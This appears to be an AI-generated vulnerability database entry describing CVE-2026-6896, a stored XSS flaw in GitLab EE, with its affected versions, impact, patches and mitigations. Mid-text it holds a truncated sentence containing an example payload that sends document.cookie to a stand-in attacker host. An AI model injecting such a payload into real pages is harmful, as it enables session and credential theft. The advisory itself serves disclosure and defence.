
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-6896 is a stored Cross-Site Scripting (XSS) vulnerability in GitLab Enterprise Edition (EE) caused by improper sanitization of user-supplied input. It affects all GitLab EE versions from 13.11 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2. Under certain conditions, an authenticated user with developer-role permissions can execute arbitrary scripts in another user's browser session. The vulnerability was disclosed on July 8, 2026, and carries a CVSS v3.1 base score of 8.7 (High) per the GitHub Advisory Database (GitHub Advisory, GitLab Patch Release).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). User-supplied input is not properly sanitized before being rendered in web pages served to other users, allowing malicious script injection. The attack vector is network-based, requires low privileges (developer role), and requires user interaction from a victim (e.g., viewing a page containing the injected content), with a changed scope indicating impact beyond the vulnerable component. The vulnerability was originally reported via HackerOne (report #3682085) and tracked internally at GitLab work item #597887 (GitHub Advisory, GitLab Patch Release).
Successful exploitation allows an authenticated attacker with developer-role permissions to execute arbitrary JavaScript in another user's browser session, potentially stealing session tokens, credentials, or other sensitive data, and performing unauthorized actions on behalf of the victim. The changed scope means the impact extends beyond the attacker's own session to affect other users, including potentially higher-privileged accounts such as maintainers or administrators. Confidentiality and integrity are both rated High in the GitHub Advisory scoring, reflecting the risk of full session hijacking and data manipulation (GitHub Advisory).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant) into the vulnerable field.GitLab has released patched versions addressing this vulnerability: 18.11.7 (for the 13.11–18.11.x branch), 19.0.4 (for the 19.0.x branch), and 19.1.2 (for the 19.1.x branch). Administrators should upgrade to one of these versions as the primary remediation (GitLab Patch Release). As interim mitigations, restrict developer-role permissions to trusted users only, and consider implementing Content Security Policy (CSP) headers to reduce the impact of any XSS exploitation. Monitor user-generated content fields for suspicious script injection patterns.
The vulnerability was covered by several cybersecurity news outlets as part of GitLab's broader patch release addressing eight vulnerabilities across CE and EE editions (CyberSecurityNews, The Hacker News). Social media discussion was noted on Mastodon (infosec.exchange) and Bluesky, with community commentary focused on the breadth of the patch release rather than this specific CVE. CISA included the patch release in its weekly vulnerability bulletin (SB26-194), indicating routine tracking without emergency escalation (CISA Bulletin).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."